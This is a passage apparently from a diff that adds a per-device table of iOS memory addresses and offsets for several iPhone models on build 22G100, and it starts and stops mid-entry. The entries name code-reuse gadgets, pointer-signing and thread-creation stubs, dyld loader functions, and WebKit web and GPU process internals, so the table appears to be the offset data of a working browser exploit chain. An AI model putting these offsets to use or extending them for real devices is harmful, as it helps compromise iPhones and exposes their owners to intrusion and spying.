0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone15,5_22G100": { + __pthread_head : 0x269850020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25798be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f38000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone16,1_22G100": { + __pthread_head : 0x26a734020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25813fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e4c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__HTMLDocument_vtable : 0x1f10e1bf8n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone16,2_22G100": { + __pthread_head : 0x26a734020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25813fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e4c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__HTMLDocument_vtable : 0x1f10e1bf8n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone17,1_22G100": { + __pthread_head : 0x26a00c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a1fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27270c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__HTMLDocument_vtable : 0x1f10e1bf8n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone17,2_22G100": { + __pthread_head : 0x26a00c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 